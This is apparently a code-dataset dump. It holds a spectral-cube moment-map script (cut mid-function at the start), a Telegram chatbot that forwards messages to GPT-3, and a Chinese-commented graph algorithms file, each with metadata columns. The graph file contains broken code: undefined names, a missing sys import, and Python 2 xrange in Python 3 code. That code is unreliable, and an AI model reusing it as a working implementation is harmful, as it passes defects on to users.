in_memory=False, smooth_size=None,
how='slice', make_peakvels=True,
spectral_slice=slice(None)):
'''
Create the moment arrays.
'''
cube = SpectralCube.read(cube_name)
# Load in source mask
source_mask = fits.getdata(mask_name)
source_mask = source_mask.astype(np.bool)
# Allow loading in a custom mask to combine with the signal mask
# For cases like M31 where the MW emission needs to be manually flagged
if custom_mask_name is not None:
custom_mask = fits.getdata(custom_mask_name)
custom_mask = custom_mask.astype(np.bool)
source_mask = np.logical_and(source_mask, custom_mask)
cube = cube.with_mask(source_mask)
# Now create the moment 1 and save it. Make a linewidth one too.
cube_base_name = os.path.split(cube_name)[-1]
log.info(f"Making moment 0 from cube {cube_base_name}")
moment0 = cube[spectral_slice].moment0(how=how)
moment0_name = "{}.mom0.fits".format(cube_base_name.rstrip(".fits"))
moment0.write(os.path.join(output_folder, moment0_name),
overwrite=True)
log.info(f"Making moment 1 from cube {cube_base_name}")
moment1 = cube[spectral_slice].moment1(how=how).astype(np.float32)
moment1[moment1 < cube.spectral_extrema[0]] = np.NaN * u.m / u.s
moment1[moment1 > cube.spectral_extrema[1]] = np.NaN * u.m / u.s
moment1_name = "{}.mom1.fits".format(cube_base_name.rstrip(".fits"))
moment1.header["BITPIX"] = -32
moment1.write(os.path.join(output_folder, moment1_name),
overwrite=True)
log.info(f"Making line width from cube {cube_base_name}")
linewidth = cube[spectral_slice].linewidth_sigma(how=how)
lwidth_name = "{}.lwidth.fits".format(cube_base_name.rstrip(".fits"))
linewidth.write(os.path.join(output_folder, lwidth_name),
overwrite=True)
# Skewness
log.info(f"Making skewness from cube {cube_base_name}")
mom3 = cube[spectral_slice].moment(order=3, axis=0, how=how)
# Normalize third moment by the linewidth to get the skewness
skew = mom3 / linewidth ** 3
skew_name = "{}.skewness.fits".format(cube_base_name.rstrip(".fits"))
skew.write(os.path.join(output_folder, skew_name),
overwrite=True)
# Kurtosis: Uncorrected
log.info(f"Making kurtosis from cube {cube_base_name}")
mom4 = cube[spectral_slice].moment(order=4, axis=0, how=how)
# Normalize third moment by the linewidth to get the skewness
# And subtract 3 to correct for Gaussian kurtosis of 3.
kurt = (mom4 / linewidth ** 4) - 3
kurt_name = "{}.kurtosis.fits".format(cube_base_name.rstrip(".fits"))
kurt.write(os.path.join(output_folder, kurt_name),
overwrite=True)
# Peak temperature map. And convert to K
if in_memory:
cube.allow_huge_operations = True
log.info(f"Making peak temperature from cube {cube_base_name}")
maxima = cube[spectral_slice].max(axis=0, how=how)
if freq is not None:
if not cube.unit.is_equivalent(u.K):
if hasattr(cube, 'beams'):
peak_temps = maxima * cube.beams.largest_beam().jtok(freq)
elif hasattr(cube, 'beam'):
peak_temps = maxima * cube.beam.jtok(freq)
else:
log.info("No beam object found. Cannot convert to K.")
else:
peak_temps = maxima
peaktemps_name = "{}.peaktemps.fits".format(cube_base_name.rstrip(".fits"))
peak_temps.write(os.path.join(output_folder, peaktemps_name),
overwrite=True)
log.info(f"Making peak velocity from cube {cube_base_name}")
if make_peakvels:
if in_memory:
peakvels = find_peakvelocity_cube(cube[spectral_slice],
smooth_size=smooth_size,
how=how, num_cores=num_cores,
spectral_slice=spectral_slice)
else:
peakvels = find_peakvelocity(cube_name, mask_name,
source_mask=source_mask,
chunk_size=chunk_size,
smooth_size=smooth_size,
spectral_slice=spectral_slice,
verbose=verbose)
peakvels = peakvels.astype(np.float32)
peakvels.header["BITPIX"] = -32
peakvels_name = \
"{}.peakvels.fits".format(cube_base_name.rstrip(".fits"))
peakvels.write(os.path.join(output_folder, peakvels_name),
overwrite=True)
def find_moment_names(path):
'''
Given a path, make global variables of the moment names.
'''
search_dict = {"Moment0": "mom0", "Moment1": "mom1", "LWidth": "lwidth",
"Skewness": "skewness", "Kurtosis": "kurtosis",
"PeakTemp": "peaktemps", "PeakVels": "peakvels"}
found_dict = {}
for filename in glob.glob(os.path.join(path, "*.fits")):
for key in search_dict:
if search_dict[key] in filename:
found_dict[key] = filename
search_dict.pop(key)
break
return found_dict
| from spectral_cube import SpectralCube
from spectral_cube.lower_dimensional_structures import Projection
import numpy as np
import astropy.units as u
from astropy.io import fits
from astropy.wcs import WCS
from astropy import log
from astropy.convolution import Gaussian1DKernel
from astropy.utils.console import ProgressBar
import os
import glob
from .feather_cubes import get_channel_chunks
from .progressbar import _map_context
def _peak_velocity(args):
'''
Return the velocity at the peak of a spectrum.
'''
spec, kern = args
if kern is None:
return spec.spectral_axis[np.argmax(spec.value)]
else:
smooth_spec = spec.spectral_smooth(kern)
argmax = np.argmax(smooth_spec.value)
return spec.spectral_axis[argmax]
def find_peakvelocity(cube_name, mask_name=None,
source_mask=None,
chunk_size=1e4,
smooth_size=None,
# in_memory=False, num_cores=1,
spectral_slice=slice(None),
verbose=False):
'''
Calculate the peak velocity surface of a spectral cube
'''
# Open the cube to get some properties for the peak velocity
# array
cube_hdu = fits.open(cube_name, mode='denywrite')
shape = cube_hdu[0].shape
spat_wcs = WCS(cube_hdu[0].header).celestial
vel_unit = u.Unit(cube_hdu[0].header['CUNIT3'])
cube_hdu.close()
del cube_hdu
peakvels = Projection(np.zeros(shape[1:]) * np.NaN,
wcs=spat_wcs,
unit=vel_unit)
# Now read in the source mask
if mask_name is not None or source_mask is not None:
if source_mask is None:
source_mask = fits.getdata(mask_name)
source_mask_spatial = source_mask.sum(0) > 0
posns = np.where(source_mask_spatial)
else:
posns = np.indices(shape[1:])
chunk_size = int(chunk_size)
chunk_idx = get_channel_chunks(posns[0].size, chunk_size)
if smooth_size is not None:
kern = Gaussian1DKernel(smooth_size)
else:
kern = None
for i, chunk in enumerate(chunk_idx):
log.info("On chunk {0} of {1}".format(i + 1, len(chunk_idx)))
y_posn = posns[0][chunk]
x_posn = posns[1][chunk]
if verbose:
pbar = ProgressBar(y_posn.size)
cube = SpectralCube.read(cube_name)
if mask_name is not None:
cube = cube.with_mask(source_mask)
cube = cube[spectral_slice]
for j, (y, x) in enumerate(zip(y_posn, x_posn)):
peakvels[y, x] = _peak_velocity((cube[:, y, x], kern))
if verbose:
pbar.update(j + 1)
del cube
# if in_memory:
# gener = [(cube[:, y, x], kern)
# for y, x in zip(y_posn, x_posn)]
# else:
# gener = ((cube[:, y, x], kern)
# for y, x in zip(y_posn, x_posn))
# with _map_context(num_cores, verbose=verbose) as map:
# output = map(_peak_velocity, gener)
# del gener
# for out, y, x in zip(output, y_posn, x_posn):
# peakvels[y, x] = out
# peakvels[peakvels == 0.0 * u.m / u.s] = np.NaN * u.m / u.s
# Make sure there are no garbage points outside of the cube spectral range
cube = SpectralCube.read(cube_name)[spectral_slice]
peakvels[peakvels < cube.spectral_extrema[0]] = np.NaN * u.m / u.s
peakvels[peakvels > cube.spectral_extrema[1]] = np.NaN * u.m / u.s
del cube
return peakvels
def find_peakvelocity_cube(cube, smooth_size=None,
pb_mask=None,
num_cores=1, verbose=False,
how='cube',
spectral_slice=slice(None)):
'''
Make peak velocity map with cube operations.
'''
if smooth_size is not None:
kern = Gaussian1DKernel(smooth_size)
parallel = True if num_cores > 1 else False
smooth_cube = cube.spectral_smooth(kern,
parallel=parallel,
num_cores=num_cores)
else:
smooth_cube = cube
argmax_plane = smooth_cube[spectral_slice].argmax(axis=0, how=how)
peakvels = cube[spectral_slice].spectral_axis[argmax_plane]
if pb_mask is not None:
peakvels[~pb_mask] = np.NaN
return peakvels
def make_moments(cube_name, mask_name, output_folder, freq=None,
custom_mask_name=None,
num_cores=1, verbose=False, chunk_size=1e4,
in_memory=False, smooth_size=None,
how='slice', make_peakvels=True,
spectral_slice=slice(None)):
'''
Create the moment arrays.
'''
cube = SpectralCube.read(cube_name)
# Load in source mask
source_mask = fits.getdata(mask_name)
source_mask = source_mask.astype(np.bool)
# Allow loading in a custom mask to combine with the signal mask
# For cases like M31 where the MW emission needs to be manually flagged
if custom_mask_name is not None:
custom_mask = fits.getdata(custom_mask_name)
custom_mask = custom_mask.astype(np.bool)
source_mask = np.logical_and(source_mask, custom_mask)
cube = cube.with_mask(source_mask)
# Now create the moment 1 and save it. Make a linewidth one too.
cube_base_name = os.path.split(cube_name)[-1]
log.info(f"Making moment 0 from cube {cube_base_name}")
moment0 = cube[spectral_slice].moment0(how=how)
moment0_name = "{}.mom0.fits".format(cube_base_name.rstrip(".fits"))
moment0.write(os.path.join(output_folder, moment0_name),
overwrite=True)
log.info(f"Making moment 1 from cube {cube_base_name}")
moment1 = cube[spectral_slice].moment1(how=how).astype(np.float32)
moment1[moment1 < cube.spectral_extrema[0]] = np.NaN * u.m / u.s
moment1[moment1 > cube.spectral_extrema[1]] = np.NaN * u.m / u.s
moment1_name = "{}.mom1.fits".format(cube_base_name.rstrip(".fits"))
moment1.header["BITPIX"] = -32
moment1.write(os.path.join(output_folder, moment1_name),
overwrite=True)
log.info(f"Making line width from cube {cube_base_name}")
linewidth = cube[spectral_slice].linewidth_sigma(how=how)
lwidth_name = "{}.lwidth.fits".format(cube_base_name.rstrip(".fits"))
linewidth.write(os.path.join(output_folder, lwidth_name),
overwrite=True)
# Skewness
log.info(f"Making skewness from cube {cube_base_name}")
mom3 = cube[spectral_slice].moment(order=3, axis=0, how=how)
# Normalize third moment by the linewidth to get the skewness
skew = mom3 / linewidth ** 3
skew_name = "{}.skewness.fits".format(cube_base_name.rstrip(".fits"))
skew.write(os.path.join(output_folder, skew_name),
overwrite=True)
# Kurtosis: Uncorrected
log.info(f"Making kurtosis from cube {cube_base_name}")
mom4 = cube[spectral_slice].moment(order=4, axis=0, how=how)
# Normalize third moment by the linewidth to get the skewness
# And subtract 3 to correct for Gaussian kurtosis of 3.
kurt = (mom4 / linewidth ** 4) - 3
kurt_name = "{}.kurtosis.fits".format(cube_base_name.rstrip(".fits"))
kurt.write(os.path.join(output_folder, kurt_name),
overwrite=True)
# Peak temperature map. And convert to K
if in_memory:
cube.allow_huge_operations = True
log.info(f"Making peak temperature from cube {cube_base_name}")
maxima = cube[spectral_slice].max(axis=0, how=how)
if freq is not None:
if not cube.unit.is_equivalent(u.K):
if hasattr(cube, 'beams'):
peak_temps = maxima * cube.beams.largest_beam().jtok(freq)
elif hasattr(cube, 'beam'):
peak_temps = maxima * cube.beam.jtok(freq)
else:
log.info("No beam object found. Cannot convert to K.")
else:
peak_temps = maxima
peaktemps_name = "{}.peaktemps.fits".format(cube_base_name.rstrip(".fits"))
peak_temps.write(os.path.join(output_folder, peaktemps_name),
overwrite=True)
log.info(f"Making peak velocity from cube {cube_base_name}")
if make_peakvels:
if in_memory:
peakvels = find_peakvelocity_cube(cube[spectral_slice],
smooth_size=smooth_size,
how=how, num_cores=num_cores,
spectral_slice=spectral_slice)
else:
peakvels = find_peakvelocity(cube_name, mask_name,
source_mask=source_mask,
chunk_size=chunk_size,
smooth_size=smooth_size,
spectral_slice=spectral_slice,
verbose=verbose)
peakvels = peakvels.astype(np.float32)
peakvels.header["BITPIX"] = -32
peakvels_name = \
"{}.peakvels.fits".format(cube_base_name.rstrip(".fits"))
peakvels.write(os.path.join(output_folder, peakvels_name),
overwrite=True)
def find_moment_names(path):
'''
Given a path, make global variables of the moment names.
'''
search_dict = {"Moment0": "mom0", "Moment1": "mom1", "LWidth": "lwidth",
"Skewness": "skewness", "Kurtosis": "kurtosis",
"PeakTemp": "peaktemps", "PeakVels": "peakvels"}
found_dict = {}
for filename in glob.glob(os.path.join(path, "*.fits")):
for key in search_dict:
if search_dict[key] in filename:
found_dict[key] = filename
search_dict.pop(key)
break
return found_dict | en | 0.714619 | Return the velocity at the peak of a spectrum. # in_memory=False, num_cores=1, Calculate the peak velocity surface of a spectral cube # Open the cube to get some properties for the peak velocity # array # Now read in the source mask # if in_memory: # gener = [(cube[:, y, x], kern) # for y, x in zip(y_posn, x_posn)] # else: # gener = ((cube[:, y, x], kern) # for y, x in zip(y_posn, x_posn)) # with _map_context(num_cores, verbose=verbose) as map: # output = map(_peak_velocity, gener) # del gener # for out, y, x in zip(output, y_posn, x_posn): # peakvels[y, x] = out # peakvels[peakvels == 0.0 * u.m / u.s] = np.NaN * u.m / u.s # Make sure there are no garbage points outside of the cube spectral range Make peak velocity map with cube operations. Create the moment arrays. # Load in source mask # Allow loading in a custom mask to combine with the signal mask # For cases like M31 where the MW emission needs to be manually flagged # Now create the moment 1 and save it. Make a linewidth one too. # Skewness # Normalize third moment by the linewidth to get the skewness # Kurtosis: Uncorrected # Normalize third moment by the linewidth to get the skewness # And subtract 3 to correct for Gaussian kurtosis of 3. # Peak temperature map. And convert to K Given a path, make global variables of the moment names. | 2.185622 | 2 |
src/service.py | wisrovi/chat_telegram_gpt3 | 0 | 6623600 | <gh_stars>0
# -*- coding: utf-8 -*-
# !pip install python-telegram-bot
from telegram.ext import (Updater, CommandHandler, MessageHandler, Filters)
from config import TOKEN_TELEGRAM as config
from gpt3 import getAnswer as gpt3
from files import writeSession as session
def start(update, context):
context.bot.send_message(update.message.chat_id, "Bienvenido")
def mensaje_nocomando(update, context):
cid = update.message.chat_id # obtengo el id_usuario
question_user = update.message.text # obtengo el mensaje del usuario
old_log = session.getLog(cid) # miro si hay un log previo cargado en cache, sino creo el cache para este usuario
answer, new_log = gpt3.getAnswer(question_user, old_log) # le pido a la IA una respuesta al comentario del usuario
session.writeSession(cid, new_log) # guardo el cache para este usuario
update.message.reply_text(answer) # respondo al usuario
if __name__=="__main__":
print("Chatbot iniciado.")
updater = Updater(config.TOKEN_TELEGRAM, use_context=True)
dp=updater.dispatcher
dp.add_handler(CommandHandler("start", start)) # respuesta al comando /start
dp.add_handler(MessageHandler(Filters.text, mensaje_nocomando)) # respuesta a los comentarios del usuario
updater.start_polling()
updater.idle()
| # -*- coding: utf-8 -*-
# !pip install python-telegram-bot
from telegram.ext import (Updater, CommandHandler, MessageHandler, Filters)
from config import TOKEN_TELEGRAM as config
from gpt3 import getAnswer as gpt3
from files import writeSession as session
def start(update, context):
context.bot.send_message(update.message.chat_id, "Bienvenido")
def mensaje_nocomando(update, context):
cid = update.message.chat_id # obtengo el id_usuario
question_user = update.message.text # obtengo el mensaje del usuario
old_log = session.getLog(cid) # miro si hay un log previo cargado en cache, sino creo el cache para este usuario
answer, new_log = gpt3.getAnswer(question_user, old_log) # le pido a la IA una respuesta al comentario del usuario
session.writeSession(cid, new_log) # guardo el cache para este usuario
update.message.reply_text(answer) # respondo al usuario
if __name__=="__main__":
print("Chatbot iniciado.")
updater = Updater(config.TOKEN_TELEGRAM, use_context=True)
dp=updater.dispatcher
dp.add_handler(CommandHandler("start", start)) # respuesta al comando /start
dp.add_handler(MessageHandler(Filters.text, mensaje_nocomando)) # respuesta a los comentarios del usuario
updater.start_polling()
updater.idle() | es | 0.969596 | # -*- coding: utf-8 -*- # !pip install python-telegram-bot # obtengo el id_usuario # obtengo el mensaje del usuario # miro si hay un log previo cargado en cache, sino creo el cache para este usuario # le pido a la IA una respuesta al comentario del usuario # guardo el cache para este usuario # respondo al usuario # respuesta al comando /start # respuesta a los comentarios del usuario | 2.608485 | 3 |
graph_test.py | QMH-TMY/Arithmetic | 0 | 6623601 | <reponame>QMH-TMY/Arithmetic
# -*- coding:UTF8 -*-
#!/usr/bin/python
#Shieber on 2018/8/8
#图及其结构
from graph import Graph
from queue import Queue,PriorityQueue
#********************问题1****************************************#
def buildCharGraph(wordFile):
'''字梯圖'''
wdLis = {}
graph = Graph()
wfile = open(wordFile,'r')
for line in wfile:
word = line[:-1] #去掉换行符
for i in range(len(word)):
sig = word[:i] + '_' + word[i+1:]
if sig in wdLis:
wdLis[sig].append(word)
else:
wdLis[sig] = [word]
for sig in wdLis.keys():
for word1 in wdLis[sig]:
for word2 in wdLis[sig]:
if word1 != word2:
graph.addEdge(word1,word2)
return graph
#G,d = buildCharGraph("wordfile.txt")
#print(G.getVertices())
#print(G.getEdge())
#print(d.keys())
#*******解决方案********#
def BFS(G,start):
'''字梯图解决方案:广度优先搜索,时间复杂度:O(V+E)'''
start = G.getVertex(start)
start.setDistance(0)
start.setPred(None)
vertQueue = Queue() #加入队列
vertQueue.enqueue(start)
while vertQueue.size() > 0:
currVert = vertQueue.dequeue()
for nbr in currVert.getConnections():
if 'white' == nbr.getColor():
nbr.setColor('grey')
nbr.setPred(currVert)
nbr.setDistance(currVert.getDistance()+1)
vertQueue.enqueue(nbr)
currVert.setColor('black')
def traverse(G,mark):
'''打印出任意字回到原始字的路径'''
node = G.getVertex(mark)
dist = 0
while node.getPred():
print(node.getId(),dist)
dist += 1
node = node.getPred()
print(node.getId(),dist)
#********************问题2****************************************#
def kinghtGraph(size):
'''骑士之旅图'''
ktGraph = Graph()
for row in xrange(size):
for col in xrange(size):
currNode = pos2node(row,col,size) #将坐标转换为点数
legalPos = getPos(row,col,size) #得到可去的坐标
for pos in legalPos:
avalNode = pos2node(pos[0],pos[1],size)
ktGraph.addEdge(currNode,avalNode)
return ktGraph
def getPos(row,col,size):
'''得到可去的坐标'''
newMoves = []
stepVector = [
(-2,-1),(-1,-2),(2,-1),(1,-2),
(-2, 1),(-1, 2),(2, 1),(1, 2) #对于马来说，可以移动的步伐向量
]
for step in stepVector:
newRow = row + step[0]
newCol = col + step[1]
if legal(newRow,newCol,size):
newMoves.append((newRow,newCol))
return newMoves
def legal(row,col,size):
'''判断是否超界'''
return True if 0<= row < size and 0<= col < size else False
#if 0<= row < size and 0<= col < size:
# return True
#else:
# return False
def pos2node(row,col,size):
'''将坐标转换为点数'''
return (row * size) + col
#print "point number:%d"%g.numVertice
#print "Edge number:%d"%g.edgeNumber
#print "space rate :%.2f%%"%((g.edgeNumber + 0.0)*100/(i**4))
#*******解决方案1********#
def DFS1(depth,path,vertex,limit):
'''深度优先树,时间复杂度:O(k^N),非常高'''
vertex.setColor('grey')
path.append(vertex)
if depth < limit:
nbrList = list(vertex.getConnections())
done = False
index = 0
while index < len(nbrList) and not done:
if 'white' == nbrList[index].getColor():
done = DFS1(depth+1,path,nbrList[index],limit)
index += 1
if not done:
path.pop()
vertex.setColor('white')
else:
done = True
return done
#*******解决方案2********#
def orderByAvail(vertex):
'''启发式算法,局部搜索'''
resList = []
for vet in vertex.getConnections():
if 'white' == vet.getColor():
depth = 0
for w in vet.getConnections():
if 'white' == w.getColor():
depth += 1
resList.append((depth,vet))
resList.sort(key=lambda item:item[0])
return [minivet[1] for minivet in resList]
def DFS2(depth,path,vertex,limit):
'''深度优先树,结合启发式算法,时间复杂度:O(2^N),'''
vertex.setColor('grey')
path.append(vertex)
if depth < limit:
nbrList = orderByAvail(vertex) #从短的到长的,反向来
done = False
index = 0
while index < len(nbrList) and not done:
if 'white' == nbrList[index].getColor():
done = DFS2(depth+1,path,nbrList[index],limit)
index += 1
if not done:
path.pop()
vertex.setColor('white')
else:
done = True
return done
'''
G = kinghtGraph(8)
path = []
vertex = G.getVertex(0)
DFS2(0,path,vertex,63)
print len(path)
'''
#########################################################
class DFSGraph(Graph):
'''通用深度优化森林,时间复杂度:O(V+E)'''
def __init__(self):
super().__init__()
self.time = 0
def dfs(self):
'''清空点的颜色，从新开始迭代查找'''
for aVertex in self:
aVertex.setColor('white')
aVertex.setPred(-1)
for aVertex in self:
if 'white' == aVertex.getColor():
self.dfsvisit(aVertex)
def dfsvisit(self,startVertex):
'''迭代查找'''
startVertex.setColor('gray')
self.time += 1
startVertex.setDiscovery(self.time)
for nextVertex in startVertex.getConnections():
if 'white' == nextVertex.getColor():
nextVertex.setPred(startVertex)
self.dfsvisit(nextVertex)
startVertex.setColor('black')
self.time += 1
startVertex.setFinish(self.time)
#########################################################
#/*******************************/#
def SCC(DFSgraph1):
'''强连通分量算法'''
DFSgraph1.dfs() #计算图的完成时间
fini1 = sortFini(DFSgraph1) #func1
DFSgraph2 = transGraph(DFSgraph1) #转置图 func2
DFSgraph2.dfs()
fini2 = sortFini(DFSgraph2,False)
position = [i for i in range(len(fini1)) if fini1[i] == fini2[i]]
graphlis = splitList(Olist,position) #func3
return graphlis
def sortFini(graph,rever=True):
'''联通量算法辅助1:将完成时间列表排序'''
fini = [(item.fini,item.id) for item in graph.vertexList.values()]
fini.sort(key=lambda item:item[0],reverse=rever) #从大到小排列完成时间
return fini
def transGraph(graph):
'''连通量算法辅助2:得到一幅图的转置图'''
newgraph = DFSgraph()
for vert in graph.vertexList.keys():
for nbr in vert.getConnections():
newgraph.addEdge(nbr,vert,vert.getWeight(nbr))
return newgraph
def splitList(Olist,pos):
'''连通量算法辅助3:拆分列表'''
Glist = []
length = len(Olist)-1
keyval = pos[-1]
for i in xrange(len(posList)):
if keyval != length:
if keyval == pos[i]:
Glist.append(Olist[pos[i]:])
elif pos[i]+1 == pos[i+1]:
Glist.append(Olist[pos[i]])
else:
Glist.append(Olist[pos[i]])
Glist.append(Olist[pos[i]+1:pos[i+1]])
else:
if keyval == pos[i]:
Glist.append(Olist[keyval])
elif pos[i]+1 == pos[i+1]:
Glist.append(Olist[pos[i]])
else:
Glist.append(Olist[pos[i]])
Glist.append(Olist[pos[i]+1:pos[i+1]])
return Glist #总的列表，存储所有小的连通量
#/*******************************/#
def dijkstra(G,start):
'''最短路径算法,时间复杂度:O((V+E)logV)
需要整个图，实际运用不现实
距离矢量路由算法只需要一部分图顶点'''
start = G.getVertex(start)
start.setDistance(0)
PriQueue = PriorityQueue() #加入队列
PriQueue.buildHeap([(v.getDistance(),v) for v in G])
while not PriQueue.isEmpty():
currVert = PriQueue.delMin()
for nbr in currVert.getConnections():
newDist = currVert.getDistance() + currVert.getWeight(nbr)
if newDist < nbr.getDistance():
nbr.setPred(currVert)
nbr.setDistance(newDist)
PriQueue.decreaseKey(nbr,newDist)
#/*******************************/#
def prim(G,start):
'''贪婪算法系列算法,时间复杂度:O((V+E)logV + V)'''
for v in G:
v.setDistance(sys.maxsize)
v.setPred(None)
start = G.getVertex(start)
start.setDistance(0)
PriQueue = PriorityQueue() #创建优先队列
PriQueue.buildHeap([(v.getDistance(),v) for v in G])
while not PriQueue.isEmpty():
currVert = PriQueue.delMin()
for nbr in currVert.getConnections():
newDist = currVert.getDistance() + currVert.getWeight(nbr)
if nbr in PriQueue and newDist < nbr.getDistance():
nbr.setPred(currVert)
nbr.setDistance(newDist)
PriQueue.decreaseKey(nbr,newDist)
def getMinPath(G,endpos):
'''打印出任意顶点回到起点的最短路径'''
node = G.getVertex(endpos)
dist = node.getDistance()
while None != node.getPred():
dist = node.getDistance()
print(node.getId(),dist)
node = node.getPred()
print(node.getId(),dist)
#/*******************************/#
| # -*- coding:UTF8 -*-
#!/usr/bin/python
#Shieber on 2018/8/8
#图及其结构
from graph import Graph
from queue import Queue,PriorityQueue
#********************问题1****************************************#
def buildCharGraph(wordFile):
'''字梯圖'''
wdLis = {}
graph = Graph()
wfile = open(wordFile,'r')
for line in wfile:
word = line[:-1] #去掉换行符
for i in range(len(word)):
sig = word[:i] + '_' + word[i+1:]
if sig in wdLis:
wdLis[sig].append(word)
else:
wdLis[sig] = [word]
for sig in wdLis.keys():
for word1 in wdLis[sig]:
for word2 in wdLis[sig]:
if word1 != word2:
graph.addEdge(word1,word2)
return graph
#G,d = buildCharGraph("wordfile.txt")
#print(G.getVertices())
#print(G.getEdge())
#print(d.keys())
#*******解决方案********#
def BFS(G,start):
'''字梯图解决方案:广度优先搜索,时间复杂度:O(V+E)'''
start = G.getVertex(start)
start.setDistance(0)
start.setPred(None)
vertQueue = Queue() #加入队列
vertQueue.enqueue(start)
while vertQueue.size() > 0:
currVert = vertQueue.dequeue()
for nbr in currVert.getConnections():
if 'white' == nbr.getColor():
nbr.setColor('grey')
nbr.setPred(currVert)
nbr.setDistance(currVert.getDistance()+1)
vertQueue.enqueue(nbr)
currVert.setColor('black')
def traverse(G,mark):
'''打印出任意字回到原始字的路径'''
node = G.getVertex(mark)
dist = 0
while node.getPred():
print(node.getId(),dist)
dist += 1
node = node.getPred()
print(node.getId(),dist)
#********************问题2****************************************#
def kinghtGraph(size):
'''骑士之旅图'''
ktGraph = Graph()
for row in xrange(size):
for col in xrange(size):
currNode = pos2node(row,col,size) #将坐标转换为点数
legalPos = getPos(row,col,size) #得到可去的坐标
for pos in legalPos:
avalNode = pos2node(pos[0],pos[1],size)
ktGraph.addEdge(currNode,avalNode)
return ktGraph
def getPos(row,col,size):
'''得到可去的坐标'''
newMoves = []
stepVector = [
(-2,-1),(-1,-2),(2,-1),(1,-2),
(-2, 1),(-1, 2),(2, 1),(1, 2) #对于马来说，可以移动的步伐向量
]
for step in stepVector:
newRow = row + step[0]
newCol = col + step[1]
if legal(newRow,newCol,size):
newMoves.append((newRow,newCol))
return newMoves
def legal(row,col,size):
'''判断是否超界'''
return True if 0<= row < size and 0<= col < size else False
#if 0<= row < size and 0<= col < size:
# return True
#else:
# return False
def pos2node(row,col,size):
'''将坐标转换为点数'''
return (row * size) + col
#print "point number:%d"%g.numVertice
#print "Edge number:%d"%g.edgeNumber
#print "space rate :%.2f%%"%((g.edgeNumber + 0.0)*100/(i**4))
#*******解决方案1********#
def DFS1(depth,path,vertex,limit):
'''深度优先树,时间复杂度:O(k^N),非常高'''
vertex.setColor('grey')
path.append(vertex)
if depth < limit:
nbrList = list(vertex.getConnections())
done = False
index = 0
while index < len(nbrList) and not done:
if 'white' == nbrList[index].getColor():
done = DFS1(depth+1,path,nbrList[index],limit)
index += 1
if not done:
path.pop()
vertex.setColor('white')
else:
done = True
return done
#*******解决方案2********#
def orderByAvail(vertex):
'''启发式算法,局部搜索'''
resList = []
for vet in vertex.getConnections():
if 'white' == vet.getColor():
depth = 0
for w in vet.getConnections():
if 'white' == w.getColor():
depth += 1
resList.append((depth,vet))
resList.sort(key=lambda item:item[0])
return [minivet[1] for minivet in resList]
def DFS2(depth,path,vertex,limit):
'''深度优先树,结合启发式算法,时间复杂度:O(2^N),'''
vertex.setColor('grey')
path.append(vertex)
if depth < limit:
nbrList = orderByAvail(vertex) #从短的到长的,反向来
done = False
index = 0
while index < len(nbrList) and not done:
if 'white' == nbrList[index].getColor():
done = DFS2(depth+1,path,nbrList[index],limit)
index += 1
if not done:
path.pop()
vertex.setColor('white')
else:
done = True
return done
'''
G = kinghtGraph(8)
path = []
vertex = G.getVertex(0)
DFS2(0,path,vertex,63)
print len(path)
'''
#########################################################
class DFSGraph(Graph):
'''通用深度优化森林,时间复杂度:O(V+E)'''
def __init__(self):
super().__init__()
self.time = 0
def dfs(self):
'''清空点的颜色，从新开始迭代查找'''
for aVertex in self:
aVertex.setColor('white')
aVertex.setPred(-1)
for aVertex in self:
if 'white' == aVertex.getColor():
self.dfsvisit(aVertex)
def dfsvisit(self,startVertex):
'''迭代查找'''
startVertex.setColor('gray')
self.time += 1
startVertex.setDiscovery(self.time)
for nextVertex in startVertex.getConnections():
if 'white' == nextVertex.getColor():
nextVertex.setPred(startVertex)
self.dfsvisit(nextVertex)
startVertex.setColor('black')
self.time += 1
startVertex.setFinish(self.time)
#########################################################
#/*******************************/#
def SCC(DFSgraph1):
'''强连通分量算法'''
DFSgraph1.dfs() #计算图的完成时间
fini1 = sortFini(DFSgraph1) #func1
DFSgraph2 = transGraph(DFSgraph1) #转置图 func2
DFSgraph2.dfs()
fini2 = sortFini(DFSgraph2,False)
position = [i for i in range(len(fini1)) if fini1[i] == fini2[i]]
graphlis = splitList(Olist,position) #func3
return graphlis
def sortFini(graph,rever=True):
'''联通量算法辅助1:将完成时间列表排序'''
fini = [(item.fini,item.id) for item in graph.vertexList.values()]
fini.sort(key=lambda item:item[0],reverse=rever) #从大到小排列完成时间
return fini
def transGraph(graph):
'''连通量算法辅助2:得到一幅图的转置图'''
newgraph = DFSgraph()
for vert in graph.vertexList.keys():
for nbr in vert.getConnections():
newgraph.addEdge(nbr,vert,vert.getWeight(nbr))
return newgraph
def splitList(Olist,pos):
'''连通量算法辅助3:拆分列表'''
Glist = []
length = len(Olist)-1
keyval = pos[-1]
for i in xrange(len(posList)):
if keyval != length:
if keyval == pos[i]:
Glist.append(Olist[pos[i]:])
elif pos[i]+1 == pos[i+1]:
Glist.append(Olist[pos[i]])
else:
Glist.append(Olist[pos[i]])
Glist.append(Olist[pos[i]+1:pos[i+1]])
else:
if keyval == pos[i]:
Glist.append(Olist[keyval])
elif pos[i]+1 == pos[i+1]:
Glist.append(Olist[pos[i]])
else:
Glist.append(Olist[pos[i]])
Glist.append(Olist[pos[i]+1:pos[i+1]])
return Glist #总的列表，存储所有小的连通量
#/*******************************/#
def dijkstra(G,start):
'''最短路径算法,时间复杂度:O((V+E)logV)
需要整个图，实际运用不现实
距离矢量路由算法只需要一部分图顶点'''
start = G.getVertex(start)
start.setDistance(0)
PriQueue = PriorityQueue() #加入队列
PriQueue.buildHeap([(v.getDistance(),v) for v in G])
while not PriQueue.isEmpty():
currVert = PriQueue.delMin()
for nbr in currVert.getConnections():
newDist = currVert.getDistance() + currVert.getWeight(nbr)
if newDist < nbr.getDistance():
nbr.setPred(currVert)
nbr.setDistance(newDist)
PriQueue.decreaseKey(nbr,newDist)
#/*******************************/#
def prim(G,start):
'''贪婪算法系列算法,时间复杂度:O((V+E)logV + V)'''
for v in G:
v.setDistance(sys.maxsize)
v.setPred(None)
start = G.getVertex(start)
start.setDistance(0)
PriQueue = PriorityQueue() #创建优先队列
PriQueue.buildHeap([(v.getDistance(),v) for v in G])
while not PriQueue.isEmpty():
currVert = PriQueue.delMin()
for nbr in currVert.getConnections():
newDist = currVert.getDistance() + currVert.getWeight(nbr)
if nbr in PriQueue and newDist < nbr.getDistance():
nbr.setPred(currVert)
nbr.setDistance(newDist)
PriQueue.decreaseKey(nbr,newDist)
def getMinPath(G,endpos):
'''打印出任意顶点回到起点的最短路径'''
node = G.getVertex(endpos)
dist = node.getDistance()
while None != node.getPred():
dist = node.getDistance()
print(node.getId(),dist)
node = node.getPred()
print(node.getId(),dist)
